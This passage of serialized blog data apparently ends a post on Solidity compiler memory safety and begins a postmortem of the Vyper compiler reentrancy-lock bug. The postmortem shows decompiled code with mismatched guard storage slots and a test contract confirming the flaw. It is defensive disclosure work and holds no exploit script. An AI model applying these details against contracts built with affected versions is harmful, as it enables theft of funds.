\"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":24,"tag":327,"props":36473,"children":36474},{"style":381},[36475],{"type":29,"value":36476}," :\n",{"type":24,"tag":327,"props":36478,"children":36479},{"class":329,"line":1017},[36480],{"type":24,"tag":327,"props":36481,"children":36482},{"style":844},[36483],{"type":29,"value":36484},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":24,"tag":327,"props":36486,"children":36487},{"class":329,"line":1026},[36488],{"type":24,"tag":327,"props":36489,"children":36490},{"style":346},[36491],{"type":29,"value":13439},{"type":24,"tag":25,"props":36493,"children":36494},{},[36495,36500,36502,36508],{"type":24,"tag":284,"props":36496,"children":36498},{"className":36497},[],[36499],{"type":29,"value":36087},{"type":29,"value":36501}," will now no longer have ",{"type":24,"tag":284,"props":36503,"children":36505},{"className":36504},[],[36506],{"type":29,"value":36507},"memoryguard(0x80)",{"type":29,"value":36509}," as expected.",{"type":24,"tag":317,"props":36511,"children":36513},{"className":12046,"code":36512,"language":12045,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[36514],{"type":24,"tag":284,"props":36515,"children":36516},{"__ignoreMap":7},[36517,36532],{"type":24,"tag":327,"props":36518,"children":36519},{"class":329,"line":330},[36520,36524,36528],{"type":24,"tag":327,"props":36521,"children":36522},{"style":551},[36523],{"type":29,"value":36104},{"type":24,"tag":327,"props":36525,"children":36526},{"style":334},[36527],{"type":29,"value":36109},{"type":24,"tag":327,"props":36529,"children":36530},{"style":551},[36531],{"type":29,"value":36114},{"type":24,"tag":327,"props":36533,"children":36534},{"class":329,"line":367},[36535,36540,36544,36548,36552,36557],{"type":24,"tag":327,"props":36536,"children":36537},{"style":340},[36538],{"type":29,"value":36539},"    mstore",{"type":24,"tag":327,"props":36541,"children":36542},{"style":346},[36543],{"type":29,"value":349},{"type":24,"tag":327,"props":36545,"children":36546},{"style":397},[36547],{"type":29,"value":36131},{"type":24,"tag":327,"props":36549,"children":36550},{"style":346},[36551],{"type":29,"value":2744},{"type":24,"tag":327,"props":36553,"children":36554},{"style":397},[36555],{"type":29,"value":36556},"128",{"type":24,"tag":327,"props":36558,"children":36559},{"style":346},[36560],{"type":29,"value":852},{"type":24,"tag":25,"props":36562,"children":36563},{},[36564,36566,36571,36573,36578],{"type":29,"value":36565},"Semantically, the absence of ",{"type":24,"tag":284,"props":36567,"children":36569},{"className":36568},[],[36570],{"type":29,"value":36079},{"type":29,"value":36572}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":24,"tag":284,"props":36574,"children":36576},{"className":36575},[],[36577],{"type":29,"value":36079},{"type":29,"value":36579}," invariant.",{"type":24,"tag":1706,"props":36581,"children":36582},{},[36583],{"type":24,"tag":25,"props":36584,"children":36585},{},[36586,36587,36592,36593,36598,36599,36604],{"type":29,"value":36173},{"type":24,"tag":284,"props":36588,"children":36590},{"className":36589},[],[36591],{"type":29,"value":36179},{"type":29,"value":36181},{"type":24,"tag":284,"props":36594,"children":36596},{"className":36595},[],[36597],{"type":29,"value":36187},{"type":29,"value":36189},{"type":24,"tag":284,"props":36600,"children":36602},{"className":36601},[],[36603],{"type":29,"value":21482},{"type":29,"value":66},{"type":24,"tag":25,"props":36606,"children":36607},{},[36608],{"type":29,"value":36609},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":24,"tag":228,"props":36611,"children":36613},{"id":36612},"undefined-behavior",[36614],{"type":29,"value":36615},"Undefined Behavior",{"type":24,"tag":25,"props":36617,"children":36618},{},[36619,36621,36626,36628,36633,36635,36641],{"type":29,"value":36620},"How strict is memory safety? When it comes to ",{"type":24,"tag":284,"props":36622,"children":36624},{"className":36623},[],[36625],{"type":29,"value":36079},{"type":29,"value":36627},", only touching memory after 0x80 seems to matter. Is ",{"type":24,"tag":284,"props":36629,"children":36631},{"className":36630},[],[36632],{"type":29,"value":35737},{"type":29,"value":36634}," annotated assembly that touches memory at ",{"type":24,"tag":284,"props":36636,"children":36638},{"className":36637},[],[36639],{"type":29,"value":36640},"[0x40, 0x7f]",{"type":29,"value":36642}," really safe?",{"type":24,"tag":25,"props":36644,"children":36645},{},[36646,36647,36654,36656,36661],{"type":29,"value":1713},{"type":24,"tag":57,"props":36648,"children":36651},{"href":36649,"rel":36650},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[61],[36652],{"type":29,"value":36653},"Solidity documentation",{"type":29,"value":36655}," mentions ",{"type":24,"tag":42,"props":36657,"children":36658},{},[36659],{"type":29,"value":36660},"undefined behavior",{"type":29,"value":36662}," three times.",{"type":24,"tag":175,"props":36664,"children":36665},{},[36666,36671,36686],{"type":24,"tag":179,"props":36667,"children":36668},{},[36669],{"type":29,"value":36670},"The existence of a dangling reference",{"type":24,"tag":179,"props":36672,"children":36673},{},[36674,36676],{"type":29,"value":36675},"Using verbatim improperly",{"type":24,"tag":22996,"props":36677,"children":36678},{},[36679],{"type":24,"tag":57,"props":36680,"children":36684},{"href":36681,"ariaDescribedBy":36682,"dataFootnoteRef":7,"id":36683},"#user-content-fn-2",[23003],"user-content-fnref-2",[36685],{"type":29,"value":10731},{"type":24,"tag":179,"props":36687,"children":36688},{},[36689],{"type":29,"value":36690},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":24,"tag":25,"props":36692,"children":36693},{},[36694],{"type":29,"value":36695},"Why does this matter?",{"type":24,"tag":25,"props":36697,"children":36698},{},[36699,36701,36708,36710,36717],{"type":29,"value":36700},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":24,"tag":57,"props":36702,"children":36705},{"href":36703,"rel":36704},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[61],[36706],{"type":29,"value":36707},"signed integer overflow is undefined",{"type":29,"value":36709},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":24,"tag":57,"props":36711,"children":36714},{"href":36712,"rel":36713},"https://blog.regehr.org/archives/1307",[61],[36715],{"type":29,"value":36716},"years down the line",{"type":29,"value":66},{"type":24,"tag":25,"props":36719,"children":36720},{},[36721,36723,36730,36731,36736],{"type":29,"value":36722},"Going back to Solidity, the specification makes ",{"type":24,"tag":57,"props":36724,"children":36727},{"href":36725,"rel":36726},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[61],[36728],{"type":29,"value":36729},"it unambiguously clear",{"type":29,"value":26042},{"type":24,"tag":42,"props":36732,"children":36733},{},[36734],{"type":29,"value":36735},"Thou shalt not modify the zero slot",{"type":29,"value":66},{"type":24,"tag":1706,"props":36738,"children":36739},{},[36740],{"type":24,"tag":25,"props":36741,"children":36742},{},[36743],{"type":29,"value":36744},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":24,"tag":25,"props":36746,"children":36747},{},[36748,36750,36755],{"type":29,"value":36749},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":24,"tag":42,"props":36751,"children":36752},{},[36753],{"type":29,"value":36754},"in Solidity",{"type":29,"value":66},{"type":24,"tag":25,"props":36757,"children":36758},{},[36759],{"type":29,"value":36760},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":24,"tag":175,"props":36762,"children":36763},{},[36764],{"type":24,"tag":179,"props":36765,"children":36766},{},[36767,36769,36776],{"type":29,"value":36768},"It very clearly ",{"type":24,"tag":57,"props":36770,"children":36773},{"href":36771,"rel":36772},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[61],[36774],{"type":29,"value":36775},"holds true today",{"type":29,"value":66},{"type":24,"tag":317,"props":36778,"children":36780},{"className":35818,"code":36779,"language":35820,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[36781],{"type":24,"tag":284,"props":36782,"children":36783},{"__ignoreMap":7},[36784,36824,36831,36844,36916,36937,36988,36995],{"type":24,"tag":327,"props":36785,"children":36786},{"class":329,"line":330},[36787,36791,36796,36801,36805,36810,36815,36820],{"type":24,"tag":327,"props":36788,"children":36789},{"style":334},[36790],{"type":29,"value":36394},{"type":24,"tag":327,"props":36792,"children":36793},{"style":346},[36794],{"type":29,"value":36795}," IRGeneratorForStatements::",{"type":24,"tag":327,"props":36797,"children":36798},{"style":340},[36799],{"type":29,"value":36800},"visit",{"type":24,"tag":327,"props":36802,"children":36803},{"style":346},[36804],{"type":29,"value":349},{"type":24,"tag":327,"props":36806,"children":36807},{"style":1639},[36808],{"type":29,"value":36809},"InlineAssembly",{"type":24,"tag":327,"props":36811,"children":36812},{"style":334},[36813],{"type":29,"value":36814}," const&",{"type":24,"tag":327,"props":36816,"children":36817},{"style":356},[36818],{"type":29,"value":36819}," _inlineAsm",{"type":24,"tag":327,"props":36821,"children":36822},{"style":346},[36823],{"type":29,"value":852},{"type":24,"tag":327,"props":36825,"children":36826},{"class":329,"line":367},[36827],{"type":24,"tag":327,"props":36828,"children":36829},{"style":346},[36830],{"type":29,"value":18427},{"type":24,"tag":327,"props":36832,"children":36833},{"class":329,"line":408},[36834,36839],{"type":24,"tag":327,"props":36835,"children":36836},{"style":340},[36837],{"type":29,"value":36838},"    setLocation",{"type":24,"tag":327,"props":36840,"children":36841},{"style":346},[36842],{"type":29,"value":36843},"(_inlineAsm);\n",{"type":24,"tag":327,"props":36845,"children":36846},{"class":329,"line":421},[36847,36851,36855,36859,36864,36868,36873,36878,36883,36887,36891,36895,36899,36903,36907,36912],{"type":24,"tag":327,"props":36848,"children":36849},{"style":425},[36850],{"type":29,"value":428},{"type":24,"tag":327,"props":36852,"children":36853},{"style":346},[36854],{"type":29,"value":5894},{"type":24,"tag":327,"props":36856,"children":36857},{"style":381},[36858],{"type":29,"value":469},{"type":24,"tag":327,"props":36860,"children":36861},{"style":356},[36862],{"type":29,"value":36863},"_inlineAsm",{"type":24,"tag":327,"props":36865,"children":36866},{"style":346},[36867],{"type":29,"value":66},{"type":24,"tag":327,"props":36869,"children":36870},{"style":340},[36871],{"type":29,"value":36872},"annotation",{"type":24,"tag":327,"props":36874,"children":36875},{"style":346},[36876],{"type":29,"value":36877},"().",{"type":24,"tag":327,"props":36879,"children":36880},{"style":356},[36881],{"type":29,"value":36882},"hasMemoryEffects",{"type":24,"tag":327,"props":36884,"children":36885},{"style":381},[36886],{"type":29,"value":21717},{"type":24,"tag":327,"props":36888,"children":36889},{"style":381},[36890],{"type":29,"value":20408},{"type":24,"tag":327,"props":36892,"children":36893},{"style":356},[36894],{"type":29,"value":36863},{"type":24,"tag":327,"props":36896,"children":36897},{"style":346},[36898],{"type":29,"value":66},{"type":24,"tag":327,"props":36900,"children":36901},{"style":340},[36902],{"type":29,"value":36872},{"type":24,"tag":327,"props":36904,"children":36905},{"style":346},[36906],{"type":29,"value":36877},{"type":24,"tag":327,"props":36908,"children":36909},{"style":356},[36910],{"type":29,"value":36911},"markedMemorySafe",{"type":24,"tag":327,"props":36913,"children":36914},{"style":346},[36915],{"type":29,"value":852},{"type":24,"tag":327,"props":36917,"children":36918},{"class":329,"line":450},[36919,36924,36928,36933],{"type":24,"tag":327,"props":36920,"children":36921},{"style":356},[36922],{"type":29,"value":36923},"        m_context",{"type":24,"tag":327,"props":36925,"children":36926},{"style":346},[36927],{"type":29,"value":66},{"type":24,"tag":327,"props":36929,"children":36930},{"style":340},[36931],{"type":29,"value":36932},"setMemoryUnsafeInlineAssemblySeen",{"type":24,"tag":327,"props":36934,"children":36935},{"style":346},[36936],{"type":29,"value":4838},{"type":24,"tag":327,"props":36938,"children":36939},{"class":329,"line":481},[36940,36945,36949,36953,36958,36963,36967,36971,36975,36979,36984],{"type":24,"tag":327,"props":36941,"children":36942},{"style":346},[36943],{"type":29,"value":36944},"    CopyTranslate bodyCopier{",{"type":24,"tag":327,"props":36946,"children":36947},{"style":356},[36948],{"type":29,"value":36863},{"type":24,"tag":327,"props":36950,"children":36951},{"style":346},[36952],{"type":29,"value":66},{"type":24,"tag":327,"props":36954,"children":36955},{"style":340},[36956],{"type":29,"value":36957},"dialect",{"type":24,"tag":327,"props":36959,"children":36960},{"style":346},[36961],{"type":29,"value":36962},"(), m_context, ",{"type":24,"tag":327,"props":36964,"children":36965},{"style":356},[36966],{"type":29,"value":36863},{"type":24,"tag":327,"props":36968,"children":36969},{"style":346},[36970],{"type":29,"value":66},{"type":24,"tag":327,"props":36972,"children":36973},{"style":340},[36974],{"type":29,"value":36872},{"type":24,"tag":327,"props":36976,"children":36977},{"style":346},[36978],{"type":29,"value":36877},{"type":24,"tag":327,"props":36980,"children":36981},{"style":356},[36982],{"type":29,"value":36983},"externalReferences",{"type":24,"tag":327,"props":36985,"children":36986},{"style":346},[36987],{"type":29,"value":24092},{"type":24,"tag":327,"props":36989,"children":36990},{"class":329,"line":500},[36991],{"type":24,"tag":327,"props":36992,"children":36993},{"emptyLinePlaceholder":16},[36994],{"type":29,"value":544},{"type":24,"tag":327,"props":36996,"children":36997},{"class":329,"line":529},[36998,37003,37007,37012,37016,37020,37024,37029],{"type":24,"tag":327,"props":36999,"children":37000},{"style":346},[37001],{"type":29,"value":37002},"    yul::Statement modified ",{"type":24,"tag":327,"props":37004,"children":37005},{"style":381},[37006],{"type":29,"value":384},{"type":24,"tag":327,"props":37008,"children":37009},{"style":340},[37010],{"type":29,"value":37011}," bodyCopier",{"type":24,"tag":327,"props":37013,"children":37014},{"style":346},[37015],{"type":29,"value":349},{"type":24,"tag":327,"props":37017,"children":37018},{"style":356},[37019],{"type":29,"value":36863},{"type":24,"tag":327,"props":37021,"children":37022},{"style":346},[37023],{"type":29,"value":66},{"type":24,"tag":327,"props":37025,"children":37026},{"style":340},[37027],{"type":29,"value":37028},"operations",{"type":24,"tag":327,"props":37030,"children":37031},{"style":346},[37032],{"type":29,"value":37033},"());`\n",{"type":24,"tag":175,"props":37035,"children":37036},{"start":367},[37037],{"type":24,"tag":179,"props":37038,"children":37039},{},[37040],{"type":29,"value":37041},"It would require a pretty contrived compiler implementation to meaningfully modify assembly statements before optimization.",{"type":24,"tag":25,"props":37043,"children":37044},{},[37045],{"type":29,"value":37046},"As long as the invariants are upheld before and after the assembly block executes, the code is probably safe.",{"type":24,"tag":228,"props":37048,"children":37049},{"id":12878},[37050],{"type":29,"value":12881},{"type":24,"tag":25,"props":37052,"children":37053},{},[37054],{"type":29,"value":37055},"In this blog post, we present an exploration of the Solidity compiler. This aims to serve as a useful reference for the inquisitive. Compilers are extremely complex with implicit and explicit assumptions. When in doubt, read the source code. So what exactly is memory safety?",{"type":24,"tag":25,"props":37057,"children":37058},{},[37059],{"type":29,"value":37060},"It's a promise between YUL generation and optimization.",{"type":24,"tag":25932,"props":37062,"children":37064},{"className":37063,"dataFootnotes":7},[25935],[37065,37070],{"type":24,"tag":228,"props":37066,"children":37068},{"className":37067,"id":23003},[25940],[37069],{"type":29,"value":25943},{"type":24,"tag":175,"props":37071,"children":37072},{},[37073,37107],{"type":24,"tag":179,"props":37074,"children":37076},{"id":37075},"user-content-fn-1",[37077,37079,37084,37086,37092,37094,37099,37101],{"type":29,"value":37078},"As an interesting aside, ",{"type":24,"tag":284,"props":37080,"children":37082},{"className":37081},[],[37083],{"type":29,"value":36079},{"type":29,"value":37085}," is an opaque function which prevents optimizations from reasoning about the free memory pointer. This leads to some rather counterintitive behavior -- ",{"type":24,"tag":284,"props":37087,"children":37089},{"className":37088},[],[37090],{"type":29,"value":37091},"memory-unsafe",{"type":29,"value":37093}," code can ",{"type":24,"tag":42,"props":37095,"children":37096},{},[37097],{"type":29,"value":37098},"decrease",{"type":29,"value":37100}," gas consumption, especially in the YUL header. ",{"type":24,"tag":57,"props":37102,"children":37105},{"href":37103,"ariaLabel":26046,"className":37104,"dataFootnoteBackref":7},"#user-content-fnref-1",[26048],[37106],{"type":29,"value":26051},{"type":24,"tag":179,"props":37108,"children":37110},{"id":37109},"user-content-fn-2",[37111,37113,37118,37120],{"type":29,"value":37112},"Unfortunately the documentation only presents a \"non-exhaustive list of restrictions\" on verbatim bytecode. In practice, it seems hard to ",{"type":24,"tag":42,"props":37114,"children":37115},{},[37116],{"type":29,"value":37117},"guarantee",{"type":29,"value":37119}," behavior with opaque bytes. ",{"type":24,"tag":57,"props":37121,"children":37124},{"href":37122,"ariaLabel":26066,"className":37123,"dataFootnoteBackref":7},"#user-content-fnref-2",[26048],[37125],{"type":29,"value":26051},{"type":24,"tag":10448,"props":37127,"children":37128},{},[37129],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":37131},[37132,37133,37134,37135,37136,37137,37138],{"id":35723,"depth":367,"text":35726},{"id":35777,"depth":367,"text":35780},{"id":36041,"depth":367,"text":36044},{"id":35772,"depth":367,"text":36265},{"id":36612,"depth":367,"text":36615},{"id":12878,"depth":367,"text":12881},{"id":23003,"depth":367,"text":25943},"content:blog:2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety.md","blog/2023-07-28-solidity-compilers-memory-safety",{"_path":37143,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":37144,"description":37145,"author":13288,"image":37146,"date":37148,"isFeatured":16,"onBlogPage":16,"tags":37149,"body":37151,"_type":10481,"_id":37902,"_source":10483,"_file":37903,"_stem":37904,"_extension":10486},"/blog/2023-08-01-vyper-timeline","Vyper Hack Timeline","A timeline and postmortem for the Vyper compiler bug. Thoughts on trust assumptions, vulnerability disclosures, and whitehack recoveries.",{"src":37147,"height":14,"width":14},"/posts/vyper-timeline/header.jpg","2023-08-01",[37150,35718],"vyper",{"type":21,"children":37152,"toc":37893},[37153,37158,37163,37168,37174,37179,37197,37207,37212,37220,37230,37249,37329,37339,37499,37504,37509,37519,37526,37531,37536,37550,37555,37572,37589,37608,37618,37631,37636,37649,37654,37659,37669,37696,37706,37736,37742,37751,37757,37762,37767,37772,37778,37783,37797,37802,37807,37812,37818,37823,37836,37862,37867,37889],{"type":24,"tag":25,"props":37154,"children":37155},{},[37156],{"type":29,"value":37157},"\"Trust but verify\" is a common adage. \"Hindsight is 20/20\" is another one. The best bugs are those hiding in plain sight.",{"type":24,"tag":25,"props":37159,"children":37160},{},[37161],{"type":29,"value":37162},"Compiler bugs are located deep in the supply chain, making their effects far more widespread than normal protocol bugs. Numerous contracts across different chains were compiled with vulnerable Vyper versions - it was a race against blackhats.",{"type":24,"tag":25,"props":37164,"children":37165},{},[37166],{"type":29,"value":37167},"Here's how it all happened.",{"type":24,"tag":228,"props":37169,"children":37171},{"id":37170},"timeline",[37172],{"type":29,"value":37173},"Timeline",{"type":24,"tag":25,"props":37175,"children":37176},{},[37177],{"type":29,"value":37178},"As a note, I'll use the \"we\" pronoun loosely here. I think I personally made some insightful contributions towards the initial vulnerability discovery but countless others helped far more throughout the entire process.",{"type":24,"tag":25,"props":37180,"children":37181},{},[37182,37187,37189,37196],{"type":24,"tag":188,"props":37183,"children":37184},{},[37185],{"type":29,"value":37186},"13:10 UTC",{"type":29,"value":37188}," pETH/ETH was ",{"type":24,"tag":57,"props":37190,"children":37193},{"href":37191,"rel":37192},"https://etherscan.io/tx/0xa84aa065ce61dbb1eb50ab6ae67fc31a9da50dd2c74eefd561661bfce2f1620c",[61],[37194],{"type":29,"value":37195},"drained of $11M",{"type":29,"value":66},{"type":24,"tag":25,"props":37198,"children":37199},{},[37200,37205],{"type":24,"tag":188,"props":37201,"children":37202},{},[37203],{"type":29,"value":37204},"13:19 UTC",{"type":29,"value":37206}," Michal posted in ETHSecurity about a sudden drop in pETH price.",{"type":24,"tag":25,"props":37208,"children":37209},{},[37210],{"type":29,"value":37211},"Igor first noticed something was off. Thanks to him, we dug deeper.",{"type":24,"tag":1706,"props":37213,"children":37214},{},[37215],{"type":24,"tag":25,"props":37216,"children":37217},{},[37218],{"type":29,"value":37219},"But how did the bot reenter into add_liquidity() from remove_liquidity()?",{"type":24,"tag":25,"props":37221,"children":37222},{},[37223,37228],{"type":24,"tag":188,"props":37224,"children":37225},{},[37226],{"type":29,"value":37227},"14:01 UTC",{"type":29,"value":37229}," A warroom was formed around this comment.",{"type":24,"tag":25,"props":37231,"children":37232},{},[37233,37238,37240,37247],{"type":24,"tag":188,"props":37234,"children":37235},{},[37236],{"type":29,"value":37237},"14:07 UTC",{"type":29,"value":37239}," We decompiled the JPEGd contract ",{"type":24,"tag":57,"props":37241,"children":37244},{"href":37242,"rel":37243},"https://ethervm.io/decompile",[61],[37245],{"type":29,"value":37246},"with our favorite decompiler",{"type":29,"value":37248}," and noted a difference in reentrancy guard storage slot.",{"type":24,"tag":317,"props":37250,"children":37254},{"className":37251,"code":37252,"language":37253,"meta":7,"style":7},"language-yul shiki shiki-themes slack-dark","// Dispatch table entry for add_liquidity(uint256[2],uint256)\nlabel_0057:\n    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n    storage[0x00] = 0x01;\n\n// Dispatch table entry for remove_liquidity(uint256,uint256[2])\nlabel_1AF3:\n    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n    storage[0x02] = 0x01;\n","yul",[37255],{"type":24,"tag":284,"props":37256,"children":37257},{"__ignoreMap":7},[37258,37266,37274,37282,37290,37297,37305,37313,37321],{"type":24,"tag":327,"props":37259,"children":37260},{"class":329,"line":330},[37261],{"type":24,"tag":327,"props":37262,"children":37263},{},[37264],{"type":29,"value":37265},"// Dispatch table entry for add_liquidity(uint256[2],uint256)\n",{"type":24,"tag":327,"props":37267,"children":37268},{"class":329,"line":367},[37269],{"type":24,"tag":327,"props":37270,"children":37271},{},[37272],{"type":29,"value":37273},"label_0057:\n",{"type":24,"tag":327,"props":37275,"children":37276},{"class":329,"line":408},[37277],{"type":24,"tag":327,"props":37278,"children":37279},{},[37280],{"type":29,"value":37281},"    if (storage[0x00]) { revert(memory[0x00:0x00]); }\n",{"type":24,"tag":327,"props":37283,"children":37284},{"class":329,"line":421},[37285],{"type":24,"tag":327,"props":37286,"children":37287},{},[37288],{"type":29,"value":37289},"    storage[0x00] = 0x01;\n",{"type":24,"tag":327,"props":37291,"children":37292},{"class":329,"line":450},[37293],{"type":24,"tag":327,"props":37294,"children":37295},{"emptyLinePlaceholder":16},[37296],{"type":29,"value":544},{"type":24,"tag":327,"props":37298,"children":37299},{"class":329,"line":481},[37300],{"type":24,"tag":327,"props":37301,"children":37302},{},[37303],{"type":29,"value":37304},"// Dispatch table entry for remove_liquidity(uint256,uint256[2])\n",{"type":24,"tag":327,"props":37306,"children":37307},{"class":329,"line":500},[37308],{"type":24,"tag":327,"props":37309,"children":37310},{},[37311],{"type":29,"value":37312},"label_1AF3:\n",{"type":24,"tag":327,"props":37314,"children":37315},{"class":329,"line":529},[37316],{"type":24,"tag":327,"props":37317,"children":37318},{},[37319],{"type":29,"value":37320},"    if (storage[0x02]) { revert(memory[0x00:0x00]); }\n",{"type":24,"tag":327,"props":37322,"children":37323},{"class":329,"line":538},[37324],{"type":24,"tag":327,"props":37325,"children":37326},{},[37327],{"type":29,"value":37328},"    storage[0x02] = 0x01;\n",{"type":24,"tag":25,"props":37330,"children":37331},{},[37332,37337],{"type":24,"tag":188,"props":37333,"children":37334},{},[37335],{"type":29,"value":37336},"14:27 UTC",{"type":29,"value":37338}," We confirmed this behavior with a simple local test contract.",{"type":24,"tag":317,"props":37340,"children":37342},{"className":790,"code":37341,"language":789,"meta":7,"style":7},"@external\n@nonreentrant(\"lock\")\ndef test(addr: address) -> bool:\n    return True\n\n@external\n@nonreentrant(\"lock\")\ndef test2(addr: address) -> bool:\n    return False\n",[37343],{"type":24,"tag":284,"props":37344,"children":37345},{"__ignoreMap":7},[37346,37354,37375,37410,37422,37429,37436,37455,37487],{"type":24,"tag":327,"props":37347,"children":37348},{"class":329,"line":330},[37349],{"type":24,"tag":327,"props":37350,"children":37351},{"style":340},[37352],{"type":29,"value":37353},"@external\n",{"type":24,"tag":327,"props":37355,"children":37356},{"class":329,"line":367},[37357,37362,37366,37371],{"type":24,"tag":327,"props":37358,"children":37359},{"style":340},[37360],{"type":29,"value":37361},"@nonreentrant",{"type":24,"tag":327,"props":37363,"children":37364},{"style":346},[37365],{"type":29,"value":349},{"type":24,"tag":327,"props":37367,"children":37368},{"style":844},[37369],{"type":29,"value":37370},"\"lock\"",{"type":24,"tag":327,"props":37372,"children":37373},{"style":346},[37374],{"type":29,"value":852},{"type":24,"tag":327,"props":37376,"children":37377},{"class":329,"line":408},[37378,37383,37388,37392,37397,37402,37406],{"type":24,"tag":327,"props":37379,"children":37380},{"style":334},[37381],{"type":29,"value":37382},"def",{"type":24,"tag":327,"props":37384,"children":37385},{"style":340},[37386],{"type":29,"value":37387}," test",{"type":24,"tag":327,"props":37389,"children":37390},{"style":346},[37391],{"type":29,"value":349},{"type":24,"tag":327,"props":37393,"children":37394},{"style":356},[37395],{"type":29,"value":37396},"addr",{"type":24,"tag":327,"props":37398,"children":37399},{"style":346},[37400],{"type":29,"value":37401},": address) -> ",{"type":24,"tag":327,"props":37403,"children":37404},{"style":1639},[37405],{"type":29,"value":36394},{"type":24,"tag":327,"props":37407,"children":37408},{"style":346},[37409],{"type":29,"value":13136},{"type":24,"tag":327,"props":37411,"children":37412},{"class":329,"line":421},[37413,37417],{"type":24,"tag":327,"props":37414,"children":37415},{"style":425},[37416],{"type":29,"value":6023},{"type":24,"tag":327,"props":37418,"children":37419},{"style":334},[37420],{"type":29,"value":37421}," True\n",{"type":24,"tag":327,"props":37423,"children":37424},{"class":329,"line":450},[37425],{"type":24,"tag":327,"props":37426,"children":37427},{"emptyLinePlaceholder":16},[37428],{"type":29,"value":544},{"type":24,"tag":327,"props":37430,"children":37431},{"class":329,"line":481},[37432],{"type":24,"tag":327,"props":37433,"children":37434},{"style":340},[37435],{"type":29,"value":37353},{"type":24,"tag":327,"props":37437,"children":37438},{"class":329,"line":500},[37439,37443,37447,37451],{"type":24,"tag":327,"props":37440,"children":37441},{"style":340},[37442],{"type":29,"value":37361},{"type":24,"tag":327,"props":37444,"children":37445},{"style":346},[37446],{"type":29,"value":349},{"type":24,"tag":327,"props":37448,"children":37449},{"style":844},[37450],{"type":29,"value":37370},{"type":24,"tag":327,"props":37452,"children":37453},{"style":346},[37454],{"type":29,"value":852},{"type":24,"tag":327,"props":37456,"children":37457},{"class":329,"line":529},[37458,37462,37467,37471,37475,37479,37483],{"type":24,"tag":327,"props":37459,"children":37460},{"style":334},[37461],{"type":29,"value":37382},{"type":24,"tag":327,"props":37463,"children":37464},{"style":340},[37465],{"type":29,"value":37466}," test2",{"type":24,"tag":327,"props":37468,"children":37469},{"style":346},[37470],{"type":29,"value":349},{"type":24,"tag":327,"props":37472,"children":37473},{"style":356},[37474],{"type":29,"value":37396},{"type":24,"tag":327,"props":37476,"children":37477},{"style":346},[37478],{"type":29,"value":37401},{"type":24,"tag":327,"props":37480,"children":37481},{"style":1639},[37482],{"type":29,"value":36394},{"type":24,"tag":327,"props":37484,"children":37485},{"style":346},[37486],{"type":29,"value":13136},{"type":24,"tag":327,"props":37488,"children":37489},{"class":329,"line":538},[37490,37494],{"type":24,"tag":327,"props":37491,"children":37492},{"style":425},[37493],{"type":29,"value":6023},{"type":24,"tag":327,"props":37495,"children":37496},{"style":334},[37497],{"type":29,"value":37498}," False\n",{"type":24,"tag":25,"props":37500,"children":37501},{},[37502],{"type":29,"value":37503},"This was not just another reentrancy bug.",{"type":24,"tag":25,"props":37505,"children":37506},{},[37507],{"type":29,"value":37508},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":24,"tag":25,"props":37510,"children":37511},{},[37512,37517],{"type":24,"tag":188,"props":37513,"children":37514},{},[37515],{"type":29,"value":37516},"14:37 UTC",{"type":29,"value":37518}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":24,"tag":25,"props":37520,"children":37521},{},[37522],{"type":24,"tag":11511,"props":37523,"children":37525},{"alt":7,"src":37524},"/posts/vyper-timeline/sstore.png",[],{"type":24,"tag":25,"props":37527,"children":37528},{},[37529],{"type":29,"value":37530},"It was a race with the hackers.",{"type":24,"tag":25,"props":37532,"children":37533},{},[37534],{"type":29,"value":37535},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":24,"tag":1706,"props":37537,"children":37538},{},[37539],{"type":24,"tag":25,"props":37540,"children":37541},{},[37542,37544],{"type":29,"value":37543},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":24,"tag":57,"props":37545,"children":37548},{"href":37546,"rel":37547},"https://twitter.com/hexagate_/status/1685677801813217280",[61],[37549],{"type":29,"value":37546},{"type":24,"tag":25,"props":37551,"children":37552},{},[37553],{"type":29,"value":37554},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":24,"tag":25,"props":37556,"children":37557},{},[37558,37563,37564,37571],{"type":24,"tag":188,"props":37559,"children":37560},{},[37561],{"type":29,"value":37562},"14:50 